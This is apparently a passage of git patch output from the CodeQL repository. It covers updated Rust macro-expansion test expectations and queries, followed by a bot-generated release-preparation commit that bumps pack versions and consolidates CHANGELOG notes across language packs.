+calls/src/included.rs +calls/src/lib.rs +proc_macros/src/lib.rs diff --git a/rust/ql/integration-tests/macro-expansion/summary.expected b/rust/ql/integration-tests/macro-expansion/summary.expected deleted file mode 100644 index 6917d67b1cf0..000000000000 --- a/rust/ql/integration-tests/macro-expansion/summary.expected +++ /dev/null @@ -1,16 +0,0 @@ -| Extraction errors | 0 | -| Extraction warnings | 0 | -| Files extracted - total | 2 | -| Files extracted - with errors | 0 | -| Files extracted - without errors | 2 | -| Files extracted - without errors % | 100 | -| Inconsistencies - AST | 0 | -| Inconsistencies - CFG | 0 | -| Inconsistencies - Path resolution | 0 | -| Inconsistencies - SSA | 0 | -| Inconsistencies - data flow | 0 | -| Lines of code extracted | 29 | -| Lines of user code extracted | 29 | -| Macro calls - resolved | 52 | -| Macro calls - total | 53 | -| Macro calls - unresolved | 1 | diff --git a/rust/ql/integration-tests/macro-expansion/summary.qlref b/rust/ql/integration-tests/macro-expansion/summary.qlref deleted file mode 100644 index 926fc7903911..000000000000 --- a/rust/ql/integration-tests/macro-expansion/summary.qlref +++ /dev/null @@ -1 +0,0 @@ -queries/summary/SummaryStatsReduced.ql diff --git a/rust/ql/integration-tests/macro-expansion/test.expected b/rust/ql/integration-tests/macro-expansion/test.expected index 83edecf5d5df..24d95c99b351 100644 --- a/rust/ql/integration-tests/macro-expansion/test.expected +++ b/rust/ql/integration-tests/macro-expansion/test.expected @@ -1,17 +1,34 @@ -| src/lib.rs:3:1:9:1 | fn foo | 0 | src/lib.rs:4:1:8:16 | fn foo_0 | -| src/lib.rs:3:1:9:1 | fn foo | 1 | src/lib.rs:4:1:8:16 | fn foo_1 | -| src/lib.rs:3:1:9:1 | fn foo | 2 | src/lib.rs:4:1:8:16 | fn foo_2 | -| src/lib.rs:7:5:8:16 | fn inner | 0 | src/lib.rs:8:5:8:16 | fn inner_0 | -| src/lib.rs:7:5:8:16 | fn inner | 0 | src/lib.rs:8:5:8:16 | fn inner_0 | -| src/lib.rs:7:5:8:16 | fn inner | 0 | src/lib.rs:8:5:8:16 | fn inner_0 | -| src/lib.rs:7:5:8:16 | fn inner | 1 | src/lib.rs:8:5:8:16 | fn inner_1 | -| src/lib.rs:7:5:8:16 | fn inner | 1 | src/lib.rs:8:5:8:16 | fn inner_1 | -| src/lib.rs:7:5:8:16 | fn inner | 1 | src/lib.rs:8:5:8:16 | fn inner_1 | -| src/lib.rs:11:1:13:11 | fn bar | 0 | src/lib.rs:12:1:13:10 | fn bar_0 | -| src/lib.rs:11:1:13:11 | fn bar | 1 | src/lib.rs:12:1:13:10 | fn bar_1 | -| src/lib.rs:12:1:13:10 | fn bar_0 | 0 | src/lib.rs:13:1:13:10 | fn bar_0_0 | -| src/lib.rs:12:1:13:10 | fn bar_0 | 1 | src/lib.rs:13:1:13:10 | fn bar_0_1 | -| src/lib.rs:12:1:13:10 | fn bar_0 | 2 | src/lib.rs:13:1:13:10 | fn bar_0_2 | -| src/lib.rs:12:1:13:10 | fn bar_1 | 0 | src/lib.rs:13:1:13:10 | fn bar_1_0 | -| src/lib.rs:12:1:13:10 | fn bar_1 | 1 | src/lib.rs:13:1:13:10 | fn bar_1_1 | -| src/lib.rs:12:1:13:10 | fn bar_1 | 2 | src/lib.rs:13:1:13:10 | fn bar_1_2 | +attribute_macros +| attributes/src/lib.rs:3:1:9:1 | fn foo | 0 | attributes/src/lib.rs:4:1:8:16 | fn foo_0 | +| attributes/src/lib.rs:3:1:9:1 | fn foo | 1 | attributes/src/lib.rs:4:1:8:16 | fn foo_1 | +| attributes/src/lib.rs:3:1:9:1 | fn foo | 2 | attributes/src/lib.rs:4:1:8:16 | fn foo_2 | +| attributes/src/lib.rs:7:5:8:16 | fn inner | 0 | attributes/src/lib.rs:8:5:8:16 | fn inner_0 | +| attributes/src/lib.rs:7:5:8:16 | fn inner | 0 | attributes/src/lib.rs:8:5:8:16 | fn inner_0 | +| attributes/src/lib.rs:7:5:8:16 | fn inner | 0 | attributes/src/lib.rs:8:5:8:16 | fn inner_0 | +| attributes/src/lib.rs:7:5:8:16 | fn inner | 1 | attributes/src/lib.rs:8:5:8:16 | fn inner_1 | +| attributes/src/lib.rs:7:5:8:16 | fn inner | 1 | attributes/src/lib.rs:8:5:8:16 | fn inner_1 | +| attributes/src/lib.rs:7:5:8:16 | fn inner | 1 | attributes/src/lib.rs:8:5:8:16 | fn inner_1 | +| attributes/src/lib.rs:11:1:13:11 | fn bar | 0 | attributes/src/lib.rs:12:1:13:10 | fn bar_0 | +| attributes/src/lib.rs:11:1:13:11 | fn bar | 1 | attributes/src/lib.rs:12:1:13:10 | fn bar_1 | +| attributes/src/lib.rs:12:1:13:10 | fn bar_0 | 0 | attributes/src/lib.rs:13:1:13:10 | fn bar_0_0 | +| attributes/src/lib.rs:12:1:13:10 | fn bar_0 | 1 | attributes/src/lib.rs:13:1:13:10 | fn bar_0_1 | +| attributes/src/lib.rs:12:1:13:10 | fn bar_0 | 2 | attributes/src/lib.rs:13:1:13:10 | fn bar_0_2 | +| attributes/src/lib.rs:12:1:13:10 | fn bar_1 | 0 | attributes/src/lib.rs:13:1:13:10 | fn bar_1_0 | +| attributes/src/lib.rs:12:1:13:10 | fn bar_1 | 1 | attributes/src/lib.rs:13:1:13:10 | fn bar_1_1 | +| attributes/src/lib.rs:12:1:13:10 | fn bar_1 | 2 | attributes/src/lib.rs:13:1:13:10 | fn bar_1_2 | +macro_calls +| attributes/src/lib.rs:5:9:5:34 | concat!... | attributes/src/lib.rs:5:17:5:34 | "Hello world!" | +| attributes/src/lib.rs:5:9:5:34 | concat!... | attributes/src/lib.rs:5:17:5:34 | "Hello world!" | +| attributes/src/lib.rs:5:9:5:34 | concat!... | attributes/src/lib.rs:5:17:5:34 | "Hello world!" | +| calls/src/included.rs:2:9:2:39 | concat!... | calls/src/included.rs:2:17:2:38 | "Hello world!" | +| calls/src/lib.rs:10:5:10:13 | def_x!... | calls/src/lib.rs:10:5:10:13 | MacroItems | +| calls/src/lib.rs:19:9:19:25 | concat!... | calls/src/lib.rs:19:17:19:24 | "xy" | +| calls/src/lib.rs:21:9:24:5 | my_macro!... | calls/src/lib.rs:22:9:23:13 | MacroExpr | +| calls/src/lib.rs:22:9:22:31 | concat!... | calls/src/lib.rs:22:17:22:30 | "<{}>" | +| calls/src/lib.rs:22:9:23:13 | ...::format_args!... | calls/src/lib.rs:22:9:23:13 | FormatArgsExpr | +| calls/src/lib.rs:22:9:23:13 | format!... | calls/src/lib.rs:22:9:23:13 | ...::must_use(...) | +| calls/src/lib.rs:27:1:27:24 | concat!... | calls/src/lib.rs:27:1:27:24 | "Hello world!" | +| calls/src/lib.rs:27:1:27:24 | include!... | calls/src/lib.rs:27:1:27:24 | MacroItems | +| calls/src/lib.rs:29:9:29:32 | include_str!... | calls/src/lib.rs:29:22:29:31 | "" | +unexpanded_macro_calls +| attributes/src/lib.rs:5:9:5:35 | concat!... | diff --git a/rust/ql/integration-tests/macro-expansion/test.ql b/rust/ql/integration-tests/macro-expansion/test.ql index 3369acc3a285..439ffab9a293 100644 --- a/rust/ql/integration-tests/macro-expansion/test.ql +++ b/rust/ql/integration-tests/macro-expansion/test.ql @@ -1,5 +1,15 @@ import rust -from Item i, MacroItems items, int index, Item expanded -where i.fromSource() and i.getAttributeMacroExpansion() = items and items.getItem(index) = expanded -select i, index, expanded +query predicate attribute_macros(Item i, int index, Item expanded) { + i.fromSource() and expanded = i.getAttributeMacroExpansion().getItem(index) +} + +query predicate macro_calls(MacroCall c, AstNode expansion) { + c.fromSource() and + not c.getLocation().getFile().getAbsolutePath().matches("%proc_macros%") and + expansion = c.getMacroCallExpansion() +} + +query predicate unexpanded_macro_calls(MacroCall c) { + c.fromSource() and not c.hasMacroCallExpansion() +} diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/some.txt b/rust/ql/test/extractor-tests/generated/MacroCall/some.txt new file mode 100644 index 000000000000..10ddd6d257e0 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/MacroCall/some.txt @@ -0,0 +1 @@ +Hello! From bfb91e95e360bd931996e53f9eb25eddd403a99d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 27 May 2025 17:22:05 +0000 Subject: [PATCH 416/535] Release preparation for version 2.21.4 --- actions/ql/lib/CHANGELOG.md | 4 ++++ .../ql/lib/change-notes/released/0.4.10.md | 3 +++ actions/ql/lib/codeql-pack.release.yml | 2 +- actions/ql/lib/qlpack.yml | 2 +- actions/ql/src/CHANGELOG.md | 6 +++++ .../0.6.2.md} | 7 +++--- actions/ql/src/codeql-pack.release.yml | 2 +- actions/ql/src/qlpack.yml | 2 +- cpp/ql/lib/CHANGELOG.md | 24 +++++++++++++++++++ .../2025-05-15-class-aggregate-literals.md | 4 ---- .../2025-05-16-array-aggregate-literals.md | 4 ---- .../change-notes/2025-05-16-wmain-support.md | 4 ---- ...25-05-18-2025-May-outdated-deprecations.md | 9 ------- .../2025-05-23-windows-sources.md | 6 ----- .../2025-05-27-windows-sources-2.md | 4 ---- cpp/ql/lib/change-notes/released/5.0.0.md | 23 ++++++++++++++++++ cpp/ql/lib/codeql-pack.release.yml | 2 +- cpp/ql/lib/qlpack.yml | 2 +- cpp/ql/src/CHANGELOG.md | 6 +++++ .../1.4.1.md} | 9 +++---- cpp/ql/src/codeql-pack.release.yml | 2 +- cpp/ql/src/qlpack.yml | 2 +- .../ql/campaigns/Solorigate/lib/CHANGELOG.md | 4 ++++ .../lib/change-notes/released/1.7.41.md | 3 +++ .../Solorigate/lib/codeql-pack.release.yml | 2 +- csharp/ql/campaigns/Solorigate/lib/qlpack.yml | 2 +- .../ql/campaigns/Solorigate/src/CHANGELOG.md | 4 ++++ .../src/change-notes/released/1.7.41.md | 3 +++ .../Solorigate/src/codeql-pack.release.yml | 2 +- csharp/ql/campaigns/Solorigate/src/qlpack.yml | 2 +- csharp/ql/lib/CHANGELOG.md | 6 +++++ .../5.1.7.md} | 7 +++--- csharp/ql/lib/codeql-pack.release.yml | 2 +- csharp/ql/lib/qlpack.yml | 2 +- csharp/ql/src/CHANGELOG.md | 9 +++++++ .../2025-04-10-uncontrolled-format-string.md | 4 ---- .../2025-05-15-gethashcode-is-not-defined.md | 4 ---- .../2025-05-16-hardcoded-credentials.md | 4 ---- .../2025-05-22-missed-readonly-modifier.md | 4 ---- csharp/ql/src/change-notes/released/1.2.1.md | 8 +++++++ csharp/ql/src/codeql-pack.release.yml | 2 +- csharp/ql/src/qlpack.yml | 2 +- go/ql/consistency-queries/CHANGELOG.md | 4 ++++ .../change-notes/released/1.0.24.md | 3 +++ .../codeql-pack.release.yml | 2 +- go/ql/consistency-queries/qlpack.yml | 2 +- go/ql/lib/CHANGELOG.md | 4 ++++ go/ql/lib/change-notes/released/4.2.6.md | 3 +++ go/ql/lib/codeql-pack.release.yml | 2 +- go/ql/lib/qlpack.yml | 2 +- go/ql/src/CHANGELOG.md | 6 +++++ .../1.2.1.md} | 7 +++--- go/ql/src/codeql-pack.release.yml | 2 +- go/ql/src/qlpack.yml | 2 +- java/ql/lib/CHANGELOG.md | 7 ++++++ ...2025-05-22-spring-request-mapping-value.md | 4 ---- .../7.3.0.md} | 8 ++++--- java/ql/lib/codeql-pack.release.yml | 2 +- java/ql/lib/qlpack.yml | 2 +- java/ql/src/CHANGELOG.md | 6 +++++ .../1.5.1.md} | 7 +++--- java/ql/src/codeql-pack.release.yml | 2 +- java/ql/src/qlpack.yml | 2 +- javascript/ql/lib/CHANGELOG.md | 6 +++++ .../2.6.4.md} | 7 +++--- javascript/ql/lib/codeql-pack.release.yml | 2 +- javascript/ql/lib/qlpack.yml | 2 +- javascript/ql/src/CHANGELOG.md | 6 +++++ .../1.6.1.md} | 7 +++--- javascript/ql/src/codeql-pack.release.yml | 2 +- javascript/ql/src/qlpack.yml | 2 +- misc/suite-helpers/CHANGELOG.md | 4 ++++ .../change-notes/released/1.0.24.md | 3 +++ misc/suite-helpers/codeql-pack.release.yml | 2 +- misc/suite-helpers/qlpack.yml | 2 +- python/ql/lib/CHANGELOG.md | 6 +++++ .../4.0.8.md} | 6 ++--- python/ql/lib/codeql-pack.release.yml | 2 +- python/ql/lib/qlpack.yml | 2 +- python/ql/src/CHANGELOG.md | 6 +++++ .../1.5.1.md} | 7 +++--- python/ql/src/codeql-pack.release.yml | 2 +- python/ql/src/qlpack.yml | 2 +- ruby/ql/lib/CHANGELOG.md | 12 ++++++++++ ...5-13-captured-variables-live-more-often.md | 4 ---- .../4.1.7.md} | 11 ++++++--- ruby/ql/lib/codeql-pack.release.yml | 2 +- ruby/ql/lib/qlpack.yml | 2 +- ruby/ql/src/CHANGELOG.md | 6 +++++ .../1.3.1.md} | 7 +++--- ruby/ql/src/codeql-pack.release.yml | 2 +- ruby/ql/src/qlpack.yml | 2 +- rust/ql/lib/CHANGELOG.md | 4 ++++ rust/ql/lib/change-notes/released/0.1.9.md | 3 +++ rust/ql/lib/codeql-pack.release.yml | 2 +- rust/ql/lib/qlpack.yml | 2 +- rust/ql/src/CHANGELOG.md | 4 ++++ rust/ql/src/change-notes/released/0.1.9.md | 3 +++ rust/ql/src/codeql-pack.release.yml | 2 +- rust/ql/src/qlpack.yml | 2 +- shared/controlflow/CHANGELOG.md | 4 ++++ .../change-notes/released/2.0.8.md | 3 +++ shared/controlflow/codeql-pack.release.yml | 2 +- shared/controlflow/qlpack.yml | 2 +- shared/dataflow/CHANGELOG.md | 4 ++++ .../dataflow/change-notes/released/2.0.8.md | 3 +++ shared/dataflow/codeql-pack.release.yml | 2 +- shared/dataflow/qlpack.yml | 2 +- shared/mad/CHANGELOG.md | 4 ++++ shared/mad/change-notes/released/1.0.24.md | 3 +++ shared/mad/codeql-pack.release.yml | 2 +- shared/mad/qlpack.yml | 2 +- shared/quantum/CHANGELOG.md | 4 ++++ shared/quantum/change-notes/released/0.0.2.md | 3 +++ shared/quantum/codeql-pack.release.yml | 2 +- shared/quantum/qlpack.yml | 2 +- shared/rangeanalysis/CHANGELOG.md | 4 ++++ .../change-notes/released/1.0.24.md | 3 +++ shared/rangeanalysis/codeql-pack.release.yml | 2 +- shared/rangeanalysis/qlpack.yml | 2 +- shared/regex/CHANGELOG.md | 4 ++++ shared/regex/change-notes/released/1.0.24.md | 3 +++ shared/regex/codeql-pack.release.yml | 2 +- shared/regex/qlpack.yml | 2 +- shared/ssa/CHANGELOG.md | 6 +++++ .../2.0.0.md} | 7 +++--- shared/ssa/codeql-pack.release.yml | 2 +- shared/ssa/qlpack.yml | 2 +- shared/threat-models/CHANGELOG.md | 4 ++++ .../change-notes/released/1.0.24.md | 3 +++ shared/threat-models/codeql-pack.release.yml | 2 +- shared/threat-models/qlpack.yml | 2 +- shared/tutorial/CHANGELOG.md | 4 ++++ .../tutorial/change-notes/released/1.0.24.md | 3 +++ shared/tutorial/codeql-pack.release.yml | 2 +- shared/tutorial/qlpack.yml | 2 +- shared/typeflow/CHANGELOG.md | 4 ++++ .../typeflow/change-notes/released/1.0.24.md | 3 +++ shared/typeflow/codeql-pack.release.yml | 2 +- shared/typeflow/qlpack.yml | 2 +- shared/typeinference/CHANGELOG.md | 4 ++++ .../change-notes/released/0.0.5.md | 3 +++ shared/typeinference/codeql-pack.release.yml | 2 +- shared/typeinference/qlpack.yml | 2 +- shared/typetracking/CHANGELOG.md | 4 ++++ .../change-notes/released/2.0.8.md | 3 +++ shared/typetracking/codeql-pack.release.yml | 2 +- shared/typetracking/qlpack.yml | 2 +- shared/typos/CHANGELOG.md | 4 ++++ shared/typos/change-notes/released/1.0.24.md | 3 +++ shared/typos/codeql-pack.release.yml | 2 +- shared/typos/qlpack.yml | 2 +- shared/util/CHANGELOG.md | 4 ++++ shared/util/change-notes/released/2.0.11.md | 3 +++ shared/util/codeql-pack.release.yml | 2 +- shared/util/qlpack.yml | 2 +- shared/xml/CHANGELOG.md | 4 ++++ shared/xml/change-notes/released/1.0.24.md | 3 +++ shared/xml/codeql-pack.release.yml | 2 +- shared/xml/qlpack.yml | 2 +- shared/yaml/CHANGELOG.md | 4 ++++ shared/yaml/change-notes/released/1.0.24.md | 3 +++ shared/yaml/codeql-pack.release.yml | 2 +- shared/yaml/qlpack.yml | 2 +- swift/ql/lib/CHANGELOG.md | 17 +++++++++++++ .../2025-05-14-type_value_expr_cfg.md | 4 ---- .../change-notes/2025-05-27-swift.6.1.1.md | 5 ---- .../5.0.0.md} | 12 +++++++--- swift/ql/lib/codeql-pack.release.yml | 2 +- swift/ql/lib/qlpack.yml | 2 +- swift/ql/src/CHANGELOG.md | 6 +++++ .../1.1.4.md} | 7 +++--- swift/ql/src/codeql-pack.release.yml | 2 +- swift/ql/src/qlpack.yml | 2 +- 174 files changed, 483 insertions(+), 190 deletions(-) create mode 100644 actions/ql/lib/change-notes/released/0.4.10.md rename actions/ql/src/change-notes/{2025-05-14-minimal-permission-for-add-to-project.md => released/0.6.2.md} (84%) delete mode 100644 cpp/ql/lib/change-notes/2025-05-15-class-aggregate-literals.md delete mode 100644 cpp/ql/lib/change-notes/2025-05-16-array-aggregate-literals.md delete mode 100644 cpp/ql/lib/change-notes/2025-05-16-wmain-support.md delete mode 100644 cpp/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md delete mode 100644 cpp/ql/lib/change-notes/2025-05-23-windows-sources.md delete mode 100644 cpp/ql/lib/change-notes/2025-05-27-windows-sources-2.md create mode 100644 cpp/ql/lib/change-notes/released/5.0.0.md rename cpp/ql/src/change-notes/{2025-05-14-openssl-sqlite-models.md => released/1.4.1.md} (65%) create mode 100644 csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.41.md create mode 100644 csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.41.md rename csharp/ql/lib/change-notes/{2025-05-14-dotnet-models.md => released/5.1.7.md} (78%) delete mode 100644 csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md delete mode 100644 csharp/ql/src/change-notes/2025-05-15-gethashcode-is-not-defined.md delete mode 100644 csharp/ql/src/change-notes/2025-05-16-hardcoded-credentials.md delete mode 100644 csharp/ql/src/change-notes/2025-05-22-missed-readonly-modifier.md create mode 100644 csharp/ql/src/change-notes/released/1.2.1.md create mode 100644 go/ql/consistency-queries/change-notes/released/1.0.24.md create mode 100644 go/ql/lib/change-notes/released/4.2.6.md rename go/ql/src/change-notes/{2025-05-16-hardcoded-credentials.md => released/1.2.1.md} (64%) delete mode 100644 java/ql/lib/change-notes/2025-05-22-spring-request-mapping-value.md rename java/ql/lib/change-notes/{2025-05-16-shared-basicblocks.md => released/7.3.0.md} (72%) rename java/ql/src/change-notes/{2025-05-16-hardcoded-credentials.md => released/1.5.1.md} (67%) rename javascript/ql/lib/change-notes/{2025-04-29-combined-es6-func.md => released/2.6.4.md} (73%) rename javascript/ql/src/change-notes/{2025-05-16-hardcoded-credentials.md => released/1.6.1.md} (73%) create mode 100644 misc/suite-helpers/change-notes/released/1.0.24.md rename python/ql/lib/change-notes/{2025-04-30-extract-hidden-files-by-default.md => released/4.0.8.md} (93%) rename python/ql/src/change-notes/{2025-05-16-hardcoded-credentials.md => released/1.5.1.md} (64%) delete mode 100644 ruby/ql/lib/change-notes/2025-05-13-captured-variables-live-more-often.md rename ruby/ql/lib/change-notes/{2025-05-02-ruby-printast-order-fix.md => released/4.1.7.md} (68%) rename ruby/ql/src/change-notes/{2025-05-16-hardcoded-credentials.md => released/1.3.1.md} (64%) create mode 100644 rust/ql/lib/change-notes/released/0.1.9.md create mode 100644 rust/ql/src/change-notes/released/0.1.9.md create mode 100644 shared/controlflow/change-notes/released/2.0.8.md create mode 100644 shared/dataflow/change-notes/released/2.0.8.md create mode 100644 shared/mad/change-notes/released/1.0.24.md create mode 100644 shared/quantum/change-notes/released/0.0.2.md create mode 100644 shared/rangeanalysis/change-notes/released/1.0.24.md create mode 100644 shared/regex/change-notes/released/1.0.24.md rename shared/ssa/change-notes/{2025-05-23-guards-interface.md => released/2.0.0.md} (87%) create mode 100644 shared/threat-models/change-notes/released/1.0.24.md create mode 100644 shared/tutorial/change-notes/released/1.0.24.md create mode 100644 shared/typeflow/change-notes/released/1.0.24.md create mode 100644 shared/typeinference/change-notes/released/0.0.5.md create mode 100644 shared/typetracking/change-notes/released/2.0.8.md create mode 100644 shared/typos/change-notes/released/1.0.24.md create mode 100644 shared/util/change-notes/released/2.0.11.md create mode 100644 shared/xml/change-notes/released/1.0.24.md create mode 100644 shared/yaml/change-notes/released/1.0.24.md delete mode 100644 swift/ql/lib/change-notes/2025-05-14-type_value_expr_cfg.md delete mode 100644 swift/ql/lib/change-notes/2025-05-27-swift.6.1.1.md rename swift/ql/lib/change-notes/{2025-05-18-2025-May-outdated-deprecations.md => released/5.0.0.md} (74%) rename swift/ql/src/change-notes/{2025-05-16-hardcoded-credentials.md => released/1.1.4.md} (71%) diff --git a/actions/ql/lib/CHANGELOG.md b/actions/ql/lib/CHANGELOG.md index 16262bfaa849..466440c3e33a 100644 --- a/actions/ql/lib/CHANGELOG.md +++ b/actions/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.4.10 + +No user-facing changes. + ## 0.4.9 No user-facing changes. diff --git a/actions/ql/lib/change-notes/released/0.4.10.md b/actions/ql/lib/change-notes/released/0.4.10.md new file mode 100644 index 000000000000..9ae55e0ca34d --- /dev/null +++ b/actions/ql/lib/change-notes/released/0.4.10.md @@ -0,0 +1,3 @@ +## 0.4.10 + +No user-facing changes. diff --git a/actions/ql/lib/codeql-pack.release.yml b/actions/ql/lib/codeql-pack.release.yml index c898a5bfdcdf..e0c0d3e4c2ae 100644 --- a/actions/ql/lib/codeql-pack.release.yml +++ b/actions/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.4.9 +lastReleaseVersion: 0.4.10 diff --git a/actions/ql/lib/qlpack.yml b/actions/ql/lib/qlpack.yml index 6e9a94292d02..c500ec3617b9 100644 --- a/actions/ql/lib/qlpack.yml +++ b/actions/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-all -version: 0.4.10-dev +version: 0.4.10 library: true warnOnImplicitThis: true dependencies: diff --git a/actions/ql/src/CHANGELOG.md b/actions/ql/src/CHANGELOG.md index 5779691947e4..687df395d28b 100644 --- a/actions/ql/src/CHANGELOG.md +++ b/actions/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 0.6.2 + +### Minor Analysis Improvements + +* The query `actions/missing-workflow-permissions` is now aware of the minimal permissions needed for the actions `deploy-pages`, `delete-package-versions`, `ai-inference`. This should lead to better alert messages and better fix suggestions. + ## 0.6.1 No user-facing changes. diff --git a/actions/ql/src/change-notes/2025-05-14-minimal-permission-for-add-to-project.md b/actions/ql/src/change-notes/released/0.6.2.md similarity index 84% rename from actions/ql/src/change-notes/2025-05-14-minimal-permission-for-add-to-project.md rename to actions/ql/src/change-notes/released/0.6.2.md index 8d6c87fe7a76..062fb0f6f91e 100644 --- a/actions/ql/src/change-notes/2025-05-14-minimal-permission-for-add-to-project.md +++ b/actions/ql/src/change-notes/released/0.6.2.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 0.6.2 + +### Minor Analysis Improvements + * The query `actions/missing-workflow-permissions` is now aware of the minimal permissions needed for the actions `deploy-pages`, `delete-package-versions`, `ai-inference`. This should lead to better alert messages and better fix suggestions. diff --git a/actions/ql/src/codeql-pack.release.yml b/actions/ql/src/codeql-pack.release.yml index 80fb0899f645..5501a2a1cc59 100644 --- a/actions/ql/src/codeql-pack.release.yml +++ b/actions/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.6.1 +lastReleaseVersion: 0.6.2 diff --git a/actions/ql/src/qlpack.yml b/actions/ql/src/qlpack.yml index 49f4f30f7da2..5c2a1dfbb1f5 100644 --- a/actions/ql/src/qlpack.yml +++ b/actions/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-queries -version: 0.6.2-dev +version: 0.6.2 library: false warnOnImplicitThis: true groups: [actions, queries] diff --git a/cpp/ql/lib/CHANGELOG.md b/cpp/ql/lib/CHANGELOG.md index 4ad53d108e26..67339c22ef0b 100644 --- a/cpp/ql/lib/CHANGELOG.md +++ b/cpp/ql/lib/CHANGELOG.md @@ -1,3 +1,27 @@ +## 5.0.0 + +### Breaking Changes + +* Deleted the deprecated `userInputArgument` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputReturned` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputReturn` predicate from the `Security.qll`. +* Deleted the deprecated `isUserInput` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputArgument` predicate from the `SecurityOptions.qll`. +* Deleted the deprecated `userInputReturned` predicate from the `SecurityOptions.qll`. + +### New Features + +* Added local flow source models for `ReadFile`, `ReadFileEx`, `MapViewOfFile`, `MapViewOfFile2`, `MapViewOfFile3`, `MapViewOfFile3FromApp`, `MapViewOfFileEx`, `MapViewOfFileFromApp`, `MapViewOfFileNuma2`, and `NtReadFile`. +* Added the `pCmdLine` arguments of `WinMain` and `wWinMain` as local flow sources. +* Added source models for `GetCommandLineA`, `GetCommandLineW`, `GetEnvironmentStringsA`, `GetEnvironmentStringsW`, `GetEnvironmentVariableA`, and `GetEnvironmentVariableW`. +* Added summary models for `CommandLineToArgvA` and `CommandLineToArgvW`. +* Added support for `wmain` as part of the ArgvSource model. + +### Bug Fixes + +* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ArrayAggregateLiteral`s. +* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ClassAggregateLiteral`s. + ## 4.3.1 ### Bug Fixes diff --git a/cpp/ql/lib/change-notes/2025-05-15-class-aggregate-literals.md b/cpp/ql/lib/change-notes/2025-05-15-class-aggregate-literals.md deleted file mode 100644 index ea821d7d48d6..000000000000 --- a/cpp/ql/lib/change-notes/2025-05-15-class-aggregate-literals.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: fix ---- -* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ClassAggregateLiteral`s. \ No newline at end of file diff --git a/cpp/ql/lib/change-notes/2025-05-16-array-aggregate-literals.md b/cpp/ql/lib/change-notes/2025-05-16-array-aggregate-literals.md deleted file mode 100644 index a1aec0a695a7..000000000000 --- a/cpp/ql/lib/change-notes/2025-05-16-array-aggregate-literals.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: fix ---- -* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ArrayAggregateLiteral`s. \ No newline at end of file diff --git a/cpp/ql/lib/change-notes/2025-05-16-wmain-support.md b/cpp/ql/lib/change-notes/2025-05-16-wmain-support.md deleted file mode 100644 index bdc369bfeddc..000000000000 --- a/cpp/ql/lib/change-notes/2025-05-16-wmain-support.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: feature ---- -* Added support for `wmain` as part of the ArgvSource model. \ No newline at end of file diff --git a/cpp/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md b/cpp/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md deleted file mode 100644 index b1a31ea6eb5a..000000000000 --- a/cpp/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -category: breaking ---- -* Deleted the deprecated `userInputArgument` predicate and its convenience accessor from the `Security.qll`. -* Deleted the deprecated `userInputReturned` predicate and its convenience accessor from the `Security.qll`. -* Deleted the deprecated `userInputReturn` predicate from the `Security.qll`. -* Deleted the deprecated `isUserInput` predicate and its convenience accessor from the `Security.qll`. -* Deleted the deprecated `userInputArgument` predicate from the `SecurityOptions.qll`. -* Deleted the deprecated `userInputReturned` predicate from the `SecurityOptions.qll`. diff --git a/cpp/ql/lib/change-notes/2025-05-23-windows-sources.md b/cpp/ql/lib/change-notes/2025-05-23-windows-sources.md deleted file mode 100644 index e07dcbe85988..000000000000 --- a/cpp/ql/lib/change-notes/2025-05-23-windows-sources.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -category: feature ---- -* Added the `pCmdLine` arguments of `WinMain` and `wWinMain` as local flow sources. -* Added source models for `GetCommandLineA`, `GetCommandLineW`, `GetEnvironmentStringsA`, `GetEnvironmentStringsW`, `GetEnvironmentVariableA`, and `GetEnvironmentVariableW`. -* Added summary models for `CommandLineToArgvA` and `CommandLineToArgvW`. diff --git a/cpp/ql/lib/change-notes/2025-05-27-windows-sources-2.md b/cpp/ql/lib/change-notes/2025-05-27-windows-sources-2.md deleted file mode 100644 index 423a1a424f9d..000000000000 --- a/cpp/ql/lib/change-notes/2025-05-27-windows-sources-2.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: feature ---- -* Added local flow source models for `ReadFile`, `ReadFileEx`, `MapViewOfFile`, `MapViewOfFile2`, `MapViewOfFile3`, `MapViewOfFile3FromApp`, `MapViewOfFileEx`, `MapViewOfFileFromApp`, `MapViewOfFileNuma2`, and `NtReadFile`. \ No newline at end of file diff --git a/cpp/ql/lib/change-notes/released/5.0.0.md b/cpp/ql/lib/change-notes/released/5.0.0.md new file mode 100644 index 000000000000..212cb2bdd962 --- /dev/null +++ b/cpp/ql/lib/change-notes/released/5.0.0.md @@ -0,0 +1,23 @@ +## 5.0.0 + +### Breaking Changes + +* Deleted the deprecated `userInputArgument` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputReturned` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputReturn` predicate from the `Security.qll`. +* Deleted the deprecated `isUserInput` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputArgument` predicate from the `SecurityOptions.qll`. 